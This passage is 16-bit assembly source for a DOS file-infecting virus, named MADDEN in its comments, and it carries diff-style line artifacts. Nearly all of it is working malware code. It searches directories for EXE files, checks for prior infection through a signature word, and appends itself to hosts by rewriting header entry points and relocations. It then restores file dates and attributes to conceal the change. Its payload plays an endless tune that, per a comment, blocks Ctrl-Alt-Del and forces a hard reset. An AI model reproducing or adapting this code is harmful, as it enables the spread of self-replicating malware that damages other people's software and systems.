;First Level - Find a file which passes FILE_OK
|
||||||
|
;
|
||||||
|
;This routine does a complex directory search to find an EXE file in the
|
||||||
|
;current directory, one of its subdirectories, or the root directory or one
|
||||||
|
;of its subdirectories, to find a file for which FILE_OK returns with C reset.
|
||||||
|
;If you want to change the depth of the search, make sure to allocate enough
|
||||||
|
;room at DTA2. This variable needs to have 2BH * LEVEL bytes in it to work,
|
||||||
|
;since the recursive FINDBR uses a different DTA area for the search (see DOS
|
||||||
|
;functions 4EH and 4FH) on each level.
|
||||||
|
;
|
||||||
|
FIND_FILE:
|
||||||
|
mov al,'\' ;set up current directory path in USEFILE
|
||||||
|
mov BYTE PTR [USEFILE],al
|
||||||
|
mov si,OFFSET USEFILE+1
|
||||||
|
xor dl,dl
|
||||||
|
mov ah,47H
|
||||||
|
int 21H ;get current dir, USEFILE= \dir
|
||||||
|
cmp BYTE PTR [USEFILE+1],0 ;see if it is null. If so, its the root
|
||||||
|
jnz FF2 ;not the root
|
||||||
|
xor al,al ;make correction for root directory,
|
||||||
|
mov BYTE PTR [USEFILE],al ;by setting USEFILE = ''
|
||||||
|
FF2: mov al,2
|
||||||
|
mov [LEVEL],al ;search 2 subdirs deep
|
||||||
|
call FINDBR ;attempt to locate a valid file
|
||||||
|
jz FF3 ;found one - exit
|
||||||
|
xor al,al ;nope - try the root directory
|
||||||
|
mov BYTE PTR [USEFILE],al ;by setting USEFILE= ''
|
||||||
|
inc al ;al=1
|
||||||
|
mov [LEVEL],al ;search one subdir deep
|
||||||
|
call FINDBR ;attempt to find file
|
||||||
|
FF3:
|
||||||
|
ret ;exit with z flag set by FINDBR to indicate success/failure
|
||||||
|
|
||||||
|
;***************************************************************************
|
||||||
|
; This routine enables MADDEN virus to compell the pc to play a
|
||||||
|
;'maddening' toon when it can't find a file to infect
|
||||||
|
;**************************************************************************
|
||||||
|
TOON:
|
||||||
|
cli ;interrupts off
|
||||||
|
mov al,10110110xb ;the magic number
|
||||||
|
out 43h,al ;send it
|
||||||
|
lea si,MUZIK ;point (si) to our note table
|
||||||
|
TOON2: cld ;must increment forward
|
||||||
|
lodsw ;load word into ax and increment (si)
|
||||||
|
cmp ax,0ffffh ;is it ffff - if so end of table
|
||||||
|
jz GO_MUZIK2 ;so, time to jump into endless loop
|
||||||
|
out 42h,al ;send LSB first
|
||||||
|
mov al,ah ;place MSB in al
|
||||||
|
out 42h,al ;send it next
|
||||||
|
in al,61h ;get value to turn on speaker
|
||||||
|
or al,00000011xb ;OR the gotten value
|
||||||
|
out 61h,al ;now we turn on speaker
|
||||||
|
lodsw ;load the repeat loop count into (ax)
|
||||||
|
LOOP6: mov cx,8000 ;delay count
|
||||||
|
LOOP7: loop LOOP7 ;do the delay
|
||||||
|
dec ax ;decrement repeat count
|
||||||
|
jnz loop6 ;if not = 0 loop back
|
||||||
|
in al,61h ;all done
|
||||||
|
and al,11111100xb ;number turns speaker off
|
||||||
|
out 61h,al ;send it
|
||||||
|
jmp short TOON2 ;now go do next note
|
||||||
|
GO_MUZIK2: ;our loop point
|
||||||
|
sti ;enable interrupts
|
||||||
|
jmp TOON ;jump back to beginning - this code
|
||||||
|
; has the additional advantage of
|
||||||
|
;locking out CTRL-ALT-DEL reboot.
|
||||||
|
;The user must do a hard reset to recover.
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;SEARCH FUNCTION
|
||||||
|
;---------------------------------------------------------------------------
|
||||||
|
;Second Level - Find in a branch
|
||||||
|
;
|
||||||
|
;This function searches the directory specified in USEFILE for EXE files.
|
||||||
|
;after searching the specified directory, it searches subdirectories to the
|
||||||
|
;depth LEVEL. If an EXE file is found for which FILE_OK returns with C reset, this
|
||||||
|
;routine exits with Z set and leaves the file and path in USEFILE
|
||||||
|
;
|
||||||
|
FINDBR:
|
||||||
|
call FINDEXE ;search current dir for EXE first
|
||||||
|
jnc FBE3 ;found it - exit
|
||||||
|
cmp [LEVEL],0 ;no - do we want to go another directory deeper?
|
||||||
|
jz FBE1 ;no - exit
|
||||||
|
dec [LEVEL] ;yes - decrement LEVEL and continue
|
||||||
|
mov di,OFFSET USEFILE ;'\curr_dir' is here
|
||||||
|
mov si,OFFSET ALLFILE ;'\*.*' is here
|
||||||
|
call CONCAT ;get '\curr_dir\*.*' in USEFILE
|
||||||
|
inc di
|
||||||
|
push di ;store pointer to first *
|
||||||
|
call FIRSTDIR ;get first subdirectory
|
||||||
|
jnz FBE ;couldn't find it, so quit
|
||||||
|
FB1: ;otherwise, check it out
|
||||||
|
pop di ;strip \*.* off of USEFILE
|
||||||
|
xor al,al
|
||||||
|
stosb
|
||||||
|
mov di,OFFSET USEFILE
|
||||||
|
mov bx,OFFSET DTA2+1EH
|
||||||
|
mov al,[LEVEL]
|
||||||
|
mov dl,2BH ;compute correct DTA location for subdir name
|
||||||
|
mul dl ;which depends on the depth we're at in the search
|
||||||
|
add bx,ax ;bx points to directory name
|
||||||
|
mov si,bx
|
||||||
|
call CONCAT ;'\curr_dir\sub_dir' put in USEFILE
|
||||||
|
push di ;save position of first letter in sub_dir name
|
||||||
|
call FINDBR ;scan the subdirectory and its subdirectories (recursive)
|
||||||
|
jz FBE2 ;if successful, exit
|
||||||
|
call NEXTDIR ;get next subdirectory in this directory
|
||||||
|
jz FB1 ;go check it if search successful
|
||||||
|
FBE: ;else exit, NZ set, cleaned up
|
||||||
|
inc [LEVEL] ;increment the level counter before exit
|
||||||
|
pop di ;strip any path or file spec off of original
|
||||||
|
xor al,al ;directory path
|
||||||
|
stosb
|
||||||
|
FBE1: mov al,1 ;return with NZ set
|
||||||
|
or al,al
|
||||||
|
ret
|
||||||
|
|
||||||
|
FBE2: pop di ;successful exit, pull this off the stack
|
||||||
|
FBE3: xor al,al ;and set Z
|
||||||
|
ret ;exit
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Third Level - Part A - Find an EXE file
|
||||||
|
;
|
||||||
|
;This function searches the path in USEFILE for an EXE file which passes
|
||||||
|
;the test FILE_OK. This routine will return the full path of the EXE file
|
||||||
|
;in USEFILE, and the c flag reset, if it is successful. Otherwise, it will return
|
||||||
|
;with the c flag set. It will search a whole directory before giving up.
|
||||||
|
;
|
||||||
|
FINDEXE:
|
||||||
|
mov dx,OFFSET DTA1 ;set new DTA for EXE search
|
||||||
|
mov ah,1AH
|
||||||
|
int 21H
|
||||||
|
mov di,OFFSET USEFILE
|
||||||
|
mov si,OFFSET EXEFILE
|
||||||
|
call CONCAT ;set up USEFILE with '\dir\*.EXE'
|
||||||
|
push di ;save position of '\' before '*.EXE'
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov cx,3FH ;search first for any file
|
||||||
|
mov ah,4EH
|
||||||
|
int 21H
|
||||||
|
NEXTEXE:
|
||||||
|
or al,al ;is DOS return OK?
|
||||||
|
jnz FEC ;no - quit with C set
|
||||||
|
pop di
|
||||||
|
inc di
|
||||||
|
stosb ;truncate '\dir\*.EXE' to '\dir\'
|
||||||
|
mov di,OFFSET USEFILE
|
||||||
|
mov si,OFFSET DTA1+1EH
|
||||||
|
call CONCAT ;setup file name '\dir\filename.exe'
|
||||||
|
dec di
|
||||||
|
push di
|
||||||
|
call FILE_OK ;yes - is this a good file to use?
|
||||||
|
jnc FENC ;yes - valid file found - exit with c reset
|
||||||
|
mov ah,4FH
|
||||||
|
int 21H ;do find next
|
||||||
|
jmp SHORT NEXTEXE ;and go test it for validity
|
||||||
|
|
||||||
|
FEC: ;no valid file found, return with C set
|
||||||
|
pop di
|
||||||
|
mov BYTE PTR [di],0 ;truncate \dir\filename.exe to \dir
|
||||||
|
stc
|
||||||
|
ret
|
||||||
|
FENC: ;valid file found, return with NC
|
||||||
|
pop di
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Third Level - Part B - Find a subdirectory
|
||||||
|
;
|
||||||
|
;This function searches the file path in USEFILE for subdirectories, excluding
|
||||||
|
;the subdirectory header entries. If one is found, it returns with Z set, and
|
||||||
|
;if not, it returns with NZ set.
|
||||||
|
;There are two entry points here, FIRSTDIR, which does the search first, and
|
||||||
|
;NEXTDIR, which does the search next.
|
||||||
|
;
|
||||||
|
FIRSTDIR:
|
||||||
|
call GET_DTA ;get proper DTA address in dx (calculated from LEVEL)
|
||||||
|
push dx ;save it
|
||||||
|
mov ah,1AH ;set DTA
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov cx,10H ;search for a directory
|
||||||
|
mov ah,4EH ;do search first function
|
||||||
|
int 21H
|
||||||
|
NEXTD1:
|
||||||
|
pop bx ;get pointer to search table (DTA)
|
||||||
|
or al,al ;successful search?
|
||||||
|
jnz NEXTD3 ;no, quit with NZ set
|
||||||
|
test BYTE PTR [bx+15H],10H ;is this a directory?
|
||||||
|
jz NEXTDIR ;no, find another
|
||||||
|
cmp BYTE PTR [bx+1EH],'.' ;is it a subdirectory header?
|
||||||
|
jne NEXTD2 ;no - valid directory, exit, setting Z flag
|
||||||
|
;else it was dir header entry, so fall through to next
|
||||||
|
NEXTDIR: ;second entry point for search next
|
||||||
|
call GET_DTA ;get proper DTA address again - may not be set up
|
||||||
|
push dx
|
||||||
|
mov ah,1AH ;set DTA
|
||||||
|
int 21H
|
||||||
|
mov ah,4FH
|
||||||
|
int 21H ;do find next
|
||||||
|
jmp SHORT NEXTD1 ;and loop to check the validity of the return
|
||||||
|
|
||||||
|
NEXTD2:
|
||||||
|
xor al,al ;successful exit, set Z flag
|
||||||
|
NEXTD3:
|
||||||
|
ret ;exit routine
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Return the DTA address associated to LEVEL in dx. This is simply given by
|
||||||
|
;OFFSET DTA2 + (LEVEL*2BH). Each level must have a different search record
|
||||||
|
;in its own DTA, since a search at a lower level occurs in the middle of the
|
||||||
|
;higher level search, and we don't want the higher level being ruined by
|
||||||
|
;corrupted data.
|
||||||
|
;
|
||||||
|
GET_DTA:
|
||||||
|
mov dx,OFFSET DTA2
|
||||||
|
mov al,2BH
|
||||||
|
mul [LEVEL]
|
||||||
|
add dx,ax ;return with dx= proper dta offset
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Concatenate two strings: Add the asciiz string at DS:SI to the asciiz
|
||||||
|
;string at ES:DI. Return ES:DI pointing to the end of the first string in the
|
||||||
|
;destination (or the first character of the second string, after moved).
|
||||||
|
;
|
||||||
|
CONCAT:
|
||||||
|
mov al,byte ptr es:[di] ;find the end of string 1
|
||||||
|
inc di
|
||||||
|
or al,al
|
||||||
|
jnz CONCAT
|
||||||
|
dec di ;di points to the null at the end
|
||||||
|
push di ;save it to return to the caller
|
||||||
|
CONCAT2:
|
||||||
|
cld
|
||||||
|
lodsb ;move second string to end of first
|
||||||
|
stosb
|
||||||
|
or al,al
|
||||||
|
jnz CONCAT2
|
||||||
|
pop di ;and restore di to point to end of string 1
|
||||||
|
ret
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Function to determine whether the EXE file specified in USEFILE is useable.
|
||||||
|
;if so return nc, else return c
|
||||||
|
;What makes an EXE file useable?:
|
||||||
|
; a) The signature field in the EXE header must be 'MZ'. (These
|
||||||
|
; are the first two bytes in the file.)
|
||||||
|
; b) The Overlay Number field in the EXE header must be zero.
|
||||||
|
; c) There must be room in the relocatable table for NUMRELS
|
||||||
|
; more relocatables without enlarging it.
|
||||||
|
; d) The word VIRUSID must not appear in the 2 bytes just before
|
||||||
|
; the initial CS:0000 of the test file. If it does, the virus
|
||||||
|
; is probably already in that file, so we skip it.
|
||||||
|
;
|
||||||
|
FILE_OK:
|
||||||
|
call GET_EXE_HEADER ;read the EXE header in USEFILE into EXE_HDR
|
||||||
|
jc OK_END ;error in reading the file, so quit
|
||||||
|
call CHECK_SIG_OVERLAY ;is the overlay number zero?
|
||||||
|
jc OK_END ;no - exit with c set
|
||||||
|
call REL_ROOM ;is there room in the relocatable table?
|
||||||
|
jc OK_END ;no - exit
|
||||||
|
call IS_ID_THERE ;is id at CS:0000?
|
||||||
|
OK_END: ret ;return with c flag set properly
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Returns c if signature in the EXE header is anything but 'MZ' or the overlay
|
||||||
|
;number is anything but zero.
|
||||||
|
CHECK_SIG_OVERLAY:
|
||||||
|
mov al,'M' ;check the signature first
|
||||||
|
mov ah,'Z'
|
||||||
|
cmp ax,WORD PTR [EXE_HDR]
|
||||||
|
jz CSO_1 ;jump if OK
|
||||||
|
stc ;else set carry and exit
|
||||||
|
ret
|
||||||
|
CSO_1: xor ax,ax
|
||||||
|
sub ax,WORD PTR [EXE_HDR+26];subtract the overlay number from 0
|
||||||
|
ret ;c is set if it's anything but 0
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This function reads the 28 byte EXE file header for the file named in USEFILE.
|
||||||
|
;It puts the header in EXE_HDR, and returns c set if unsuccessful.
|
||||||
|
;
|
||||||
|
GET_EXE_HEADER:
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov ax,3D02H ;r/w access open file
|
||||||
|
int 21H
|
||||||
|
jc RE_RET ;error opening - C set - quit without closing
|
||||||
|
mov [HANDLE],ax ;else save file handle
|
||||||
|
mov bx,ax ;handle to bx
|
||||||
|
mov cx,1CH ;read 28 byte EXE file header
|
||||||
|
mov dx,OFFSET EXE_HDR ;into this buffer
|
||||||
|
mov ah,3FH
|
||||||
|
int 21H
|
||||||
|
RE_RET: ret ;return with c set properly
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This function determines if there are at least NUMRELS openings in the
|
||||||
|
;current relocatable table in USEFILE. If there are, it returns with
|
||||||
|
;carry reset, otherwise it returns with carry set. The computation
|
||||||
|
;this routine does is to compare whether
|
||||||
|
; ((Header Size * 4) + Number of Relocatables) * 4 - Start of Rel Table
|
||||||
|
;is >= than 4 * NUMRELS. If it is, then there is enough room
|
||||||
|
;
|
||||||
|
REL_ROOM:
|
||||||
|
mov ax,WORD PTR [EXE_HDR+8] ;size of header, paragraphs
|
||||||
|
add ax,ax
|
||||||
|
add ax,ax
|
||||||
|
sub ax,WORD PTR [EXE_HDR+6] ;number of relocatables
|
||||||
|
add ax,ax
|
||||||
|
add ax,ax
|
||||||
|
sub ax,WORD PTR [EXE_HDR+24] ;start of relocatable table
|
||||||
|
cmp ax,4*NUMRELS ;enough room to put relocatables in?
|
||||||
|
RR_RET: ret ;exit with carry set properly
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This function determines whether the word at the initial CS:0000 in USEFILE
|
||||||
|
;is the same as VIRUSID in this program. If it is, it returns c set, otherwise
|
||||||
|
;it returns c reset.
|
||||||
|
;
|
||||||
|
IS_ID_THERE:
|
||||||
|
mov ax,WORD PTR [EXE_HDR+22] ;Initial CS
|
||||||
|
add ax,WORD PTR [EXE_HDR+8] ;Header size
|
||||||
|
mov dx,16
|
||||||
|
mul dx
|
||||||
|
mov cx,dx
|
||||||
|
mov dx,ax ;cxdx = position to look for VIRUSID in file
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer, relative to beginning
|
||||||
|
int 21H
|
||||||
|
mov ah,3FH
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov dx,OFFSET VIDC
|
||||||
|
mov cx,2 ;read 2 bytes into VIDC
|
||||||
|
int 21H
|
||||||
|
jc II_RET ;couldn't read - bad file - report as though ID is there so we dont do any more to this file
|
||||||
|
mov ax,[VIDC]
|
||||||
|
cmp ax,[VIRUSID] ;is it the VIRUSID?
|
||||||
|
clc
|
||||||
|
jnz II_RET ;if not, then virus is not already in this file
|
||||||
|
stc ;else it is probably there already
|
||||||
|
II_RET: ret
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine makes sure file end is at paragraph boundary, so the virus
|
||||||
|
;can be attached with a valid CS. Assumes file pointer is at end of file.
|
||||||
|
SETBDY:
|
||||||
|
mov al,BYTE PTR [FSIZE]
|
||||||
|
and al,0FH ;see if we have a paragraph boundary (header is always even # of paragraphs)
|
||||||
|
jz SB_E ;all set - exit
|
||||||
|
mov cx,10H ;no - write any old bytes to even it up
|
||||||
|
sub cl,al ;number of bytes to write in cx
|
||||||
|
mov dx,OFFSET FINAL ;set buffer up to point to end of the code (just garbage there)
|
||||||
|
add WORD PTR [FSIZE],cx ;update FSIZE
|
||||||
|
adc WORD PTR [FSIZE+2],0
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ah,40H ;DOS write function
|
||||||
|
int 21H
|
||||||
|
SB_E: ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine moves the virus (this program) to the end of the EXE file
|
||||||
|
;Basically, it just copies everything here to there, and then goes and
|
||||||
|
;adjusts the EXE file header and two relocatables in the program, so that
|
||||||
|
;it will work in the new environment. It also makes sure the virus starts
|
||||||
|
;on a paragraph boundary, and adds how many bytes are necessary to do that.
|
||||||
|
;
|
||||||
|
INFECT:
|
||||||
|
mov cx,WORD PTR [FSIZE+2]
|
||||||
|
mov dx,WORD PTR [FSIZE]
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer, relative to beginning
|
||||||
|
int 21H ;go to end of file
|
||||||
|
call SETBDY ;lengthen to a paragraph boundary if necessary
|
||||||
|
mov cx,OFFSET FINAL ;last byte of code
|
||||||
|
xor dx,dx ;first byte of code, DS:DX
|
||||||
|
mov bx,[HANDLE] ;move virus code to end of file being attacked with
|
||||||
|
mov ah,40H ;DOS write function
|
||||||
|
int 21H
|
||||||
|
mov dx,WORD PTR [FSIZE] ;find 1st relocatable in code (SS)
|
||||||
|
mov cx,WORD PTR [FSIZE+2]
|
||||||
|
mov bx,OFFSET REL1 ;it is at FSIZE+REL1+1 in the file
|
||||||
|
inc bx
|
||||||
|
add dx,bx
|
||||||
|
mov bx,0
|
||||||
|
adc cx,bx ;cx:dx is that number
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer to 1st relocatable
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET EXE_HDR+14 ;get correct old SS for new program
|
||||||
|
mov bx,[HANDLE] ;from the EXE header
|
||||||
|
mov cx,2
|
||||||
|
mov ah,40H ;and write it to relocatable REL1+1
|
||||||
|
int 21H
|
||||||
|
mov dx,WORD PTR [FSIZE]
|
||||||
|
mov cx,WORD PTR [FSIZE+2]
|
||||||
|
mov bx,OFFSET REL1A ;put in correct old SP from EXE header
|
||||||
|
inc bx ;at FSIZE+REL1A+1
|
||||||
|
add dx,bx
|
||||||
|
mov bx,0
|
||||||
|
adc cx,bx ;cx:dx points to FSIZE+REL1A+1
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer to place to write SP to
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET EXE_HDR+16 ;get correct old SP for infected program
|
||||||
|
mov bx,[HANDLE] ;from EXE header
|
||||||
|
mov cx,2
|
||||||
|
mov ah,40H ;and write it where it belongs
|
||||||
|
int 21H
|
||||||
|
mov dx,WORD PTR [FSIZE]
|
||||||
|
mov cx,WORD PTR [FSIZE+2]
|
||||||
|
mov bx,OFFSET REL2 ;put in correct old CS:IP in program
|
||||||
|
add bx,1 ;at FSIZE+REL2+1 on disk
|
||||||
|
add dx,bx
|
||||||
|
mov bx,0
|
||||||
|
adc cx,bx ;cx:dx points to FSIZE+REL2+1
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer relavtive to start of file
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET EXE_HDR+20 ;get correct old CS:IP from EXE header
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov cx,4
|
||||||
|
mov ah,40H ;and write 4 bytes to FSIZE+REL2+1
|
||||||
|
int 21H
|
||||||
|
;done writing relocatable vectors
|
||||||
|
;so now adjust the EXE header values
|
||||||
|
xor cx,cx
|
||||||
|
xor dx,dx
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer to start of file
|
||||||
|
int 21H
|
||||||
|
mov ax,WORD PTR [FSIZE] ;calculate new initial CS (the virus' CS)
|
||||||
|
mov cl,4 ;given by (FSIZE/16)-HEADER SIZE (in paragraphs)
|
||||||
|
shr ax,cl
|
||||||
|
mov bx,WORD PTR [FSIZE+2]
|
||||||
|
and bl,0FH
|
||||||
|
mov cl,4
|
||||||
|
shl bl,cl
|
||||||
|
add ah,bl
|
||||||
|
sub ax,WORD PTR [EXE_HDR+8] ;(exe header size, in paragraphs)
|
||||||
|
mov WORD PTR [EXE_HDR+22],ax;and save as initial CS
|
||||||
|
mov bx,OFFSET FINAL ;compute new initial SS
|
||||||
|
add bx,10H ;using the formula SSi=(CSi + (OFFSET FINAL+16)/16)
|
||||||
|
mov cl,4
|
||||||
|
shr bx,cl
|
||||||
|
add ax,bx
|
||||||
|
mov WORD PTR [EXE_HDR+14],ax ;and save it
|
||||||
|
mov ax,OFFSET VIRUS ;get initial IP
|
||||||
|
mov WORD PTR [EXE_HDR+20],ax ;and save it
|
||||||
|
mov ax,STACKSIZE ;get initial SP
|
||||||
|
mov WORD PTR [EXE_HDR+16],ax ;and save it
|
||||||
|
mov dx,WORD PTR [FSIZE+2]
|
||||||
|
mov ax,WORD PTR [FSIZE] ;calculate new file size
|
||||||
|
mov bx,OFFSET FINAL
|
||||||
|
add ax,bx
|
||||||
|
xor bx,bx
|
||||||
|
adc dx,bx ;put it in ax:dx
|
||||||
|
add ax,200H ;and set up the new page count
|
||||||
|
adc dx,bx ;page ct= (ax:dx+512)/512
|
||||||
|
push ax
|
||||||
|
mov cl,9
|
||||||
|
shr ax,cl
|
||||||
|
mov cl,7
|
||||||
|
shl dx,cl
|
||||||
|
add ax,dx
|
||||||
|
mov WORD PTR [EXE_HDR+4],ax ;and save it here
|
||||||
|
pop ax
|
||||||
|
and ax,1FFH ;now calculate last page size
|
||||||
|
mov WORD PTR [EXE_HDR+2],ax ;and put it here
|
||||||
|
mov ax,NUMRELS ;adjust relocatables counter
|
||||||
|
add WORD PTR [EXE_HDR+6],ax
|
||||||
|
mov cx,1CH ;and save data at start of file
|
||||||
|
mov dx,OFFSET EXE_HDR
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ah,40H ;DOS write function
|
||||||
|
int 21H
|
||||||
|
mov ax,WORD PTR [EXE_HDR+6] ;get number of relocatables in table
|
||||||
|
dec ax ;in order to calculate location of
|
||||||
|
dec ax ;where to add relocatables
|
||||||
|
mov bx,4 ;Location= (No in table-2)*4+Table Offset
|
||||||
|
mul bx
|
||||||
|
add ax,WORD PTR [EXE_HDR+24];table offset
|
||||||
|
mov bx,0
|
||||||
|
adc dx,bx ;dx:ax=end of old table in file
|
||||||
|
mov cx,dx
|
||||||
|
mov dx,ax
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ax,4200H ;set file pointer to table end
|
||||||
|
int 21H
|
||||||
|
mov ax,WORD PTR [EXE_HDR+22] ;and set up 2 pointers: init CS = seg of REL1
|
||||||
|
mov bx,OFFSET REL1
|
||||||
|
inc bx ;offset of REL1
|
||||||
|
mov WORD PTR [EXE_HDR],bx ;use EXE_HDR as a buffer to
|
||||||
|
mov WORD PTR [EXE_HDR+2],ax ;save relocatables in for now
|
||||||
|
mov ax,WORD PTR [EXE_HDR+22] ;init CS = seg of REL2
|
||||||
|
mov bx,OFFSET REL2
|
||||||
|
add bx,3 ;offset of REL2
|
||||||
|
mov WORD PTR [EXE_HDR+4],bx ;write it to buffer
|
||||||
|
mov WORD PTR [EXE_HDR+6],ax
|
||||||
|
mov cx,8 ;and then write 8 bytes of data in file
|
||||||
|
mov dx,OFFSET EXE_HDR
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
mov ah,40H ;DOS write function
|
||||||
|
int 21H
|
||||||
|
ret ;that's it, infection is complete!
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine determines whether the reproduction code should be executed.
|
||||||
|
;If it returns Z, the reproduction code is executed, otherwise it is not.
|
||||||
|
;Currently, it only executes if the system time variable is a multiple of
|
||||||
|
;TIMECT. As such, the virus will reproduce only 1 out of every TIMECT+1
|
||||||
|
;executions of the program. TIMECT should be 2^n-1
|
||||||
|
;Note that the ret at SR1 is replaced by a NOP by SETSR whenever the program
|
||||||
|
;is run. This makes SHOULDRUN return Z for sure the first time, so it
|
||||||
|
;definitely runs when this loader program is run, but after that, the time must
|
||||||
|
;be an even multiple of TIMECT+1.
|
||||||
|
;
|
||||||
|
TIMECT EQU 0 ;Determines how often to reproduce (1/64 here)
|
||||||
|
;
|
||||||
|
SHOULDRUN:
|
||||||
|
xor ah,ah ;zero ax to start, set z flag
|
||||||
|
SR1: ret ;this gets replaced by NOP when program runs
|
||||||
|
int 1AH
|
||||||
|
and dl,TIMECT ;is it an even multiple of TIMECT+1 ticks?
|
||||||
|
ret ;return with z flag set if it is, else nz set
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;SETSR modifies SHOULDRUN so that the full procedure gets run
|
||||||
|
;it is redundant after the initial load
|
||||||
|
SETSR:
|
||||||
|
mov al,90H ;NOP code
|
||||||
|
mov BYTE PTR SR1,al ;put it in place of RET above
|
||||||
|
ret ;and return
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine sets up the new DTA location at DTA1, and saves the location of
|
||||||
|
;the initial DTA in the variable OLDDTA.
|
||||||
|
NEW_DTA:
|
||||||
|
mov ah,2FH ;get current DTA in ES:BX
|
||||||
|
int 21H
|
||||||
|
mov WORD PTR [OLDDTA],bx ;save it here
|
||||||
|
mov ax,es
|
||||||
|
mov WORD PTR [OLDDTA+2],ax
|
||||||
|
mov ax,cs
|
||||||
|
mov es,ax ;set up ES
|
||||||
|
mov dx,OFFSET DTA1 ;set new DTA offset
|
||||||
|
mov ah,1AH
|
||||||
|
int 21H ;and tell DOS where we want it
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine reverses the action of NEW_DTA and restores the DTA to its
|
||||||
|
;original value.
|
||||||
|
RESTORE_DTA:
|
||||||
|
mov dx,WORD PTR [OLDDTA] ;get original DTA seg:ofs
|
||||||
|
mov ax,WORD PTR [OLDDTA+2]
|
||||||
|
mov ds,ax
|
||||||
|
mov ah,1AH
|
||||||
|
int 21H ;and tell DOS where to put it
|
||||||
|
mov ax,cs ;restore ds before exiting
|
||||||
|
mov ds,ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;This routine saves the original file attribute in FATTR, the file date and
|
||||||
|
;time in FDATE and FTIME, and the file size in FSIZE. It also sets the
|
||||||
|
;file attribute to read/write, and leaves the file opened in read/write
|
||||||
|
;mode (since it has to open the file to get the date and size), with the handle
|
||||||
|
;it was opened under in HANDLE. The file path and name is in USEFILE.
|
||||||
|
SAVE_ATTRIBUTE:
|
||||||
|
mov ah,43H ;get file attr
|
||||||
|
mov al,0
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
int 21H
|
||||||
|
mov [FATTR],cl ;save it here
|
||||||
|
mov ah,43H ;now set file attr to r/w
|
||||||
|
mov al,1
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov cl,0
|
||||||
|
int 21H
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
mov al,2 ;now that we know it's r/w
|
||||||
|
mov ah,3DH ;we can r/w access open file
|
||||||
|
int 21H
|
||||||
|
mov [HANDLE],ax ;save file handle here
|
||||||
|
mov ah,57H ;and get the file date and time
|
||||||
|
xor al,al
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
int 21H
|
||||||
|
mov [FTIME],cx ;and save it here
|
||||||
|
mov [FDATE],dx ;and here
|
||||||
|
mov ax,WORD PTR [DTA1+28] ;file size was set up here by
|
||||||
|
mov WORD PTR [FSIZE+2],ax ;search routine
|
||||||
|
mov ax,WORD PTR [DTA1+26] ;so move it to FSIZE
|
||||||
|
mov WORD PTR [FSIZE],ax
|
||||||
|
ret
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Restore file attribute, and date and time of the file as they were before
|
||||||
|
;it was infected. This also closes the file
|
||||||
|
REST_ATTRIBUTE:
|
||||||
|
mov dx,[FDATE] ;get old date and time
|
||||||
|
mov cx,[FTIME]
|
||||||
|
mov ah,57H ;set file date and time to old value
|
||||||
|
mov al,1
|
||||||
|
mov bx,[HANDLE]
|
||||||
|
int 21H
|
||||||
|
mov ah,3EH
|
||||||
|
mov bx,[HANDLE] ;close file
|
||||||
|
int 21H
|
||||||
|
mov cl,[FATTR]
|
||||||
|
xor ch,ch
|
||||||
|
mov ah,43H ;Set file attr to old value
|
||||||
|
mov al,1
|
||||||
|
mov dx,OFFSET USEFILE
|
||||||
|
int 21H
|
||||||
|
ret
|
||||||
|
|
||||||
|
FINAL: ;last byte of code to be kept in virus
|
||||||
|
|
||||||
|
VSEG ENDS
|
||||||
|
|
||||||
|
|
||||||
|
;--------------------------------------------------------------------------
|
||||||
|
;Virus stack segment
|
||||||
|
|
||||||
|
VSTACK SEGMENT PARA STACK
|
||||||
|
db STACKSIZE dup (?)
|
||||||
|
VSTACK ENDS
|
||||||
|
|
||||||
|
END VIRUS ;Entry point is the virus
|
||||||
@@ -0,0 +1,771 @@
|
|||||||
|
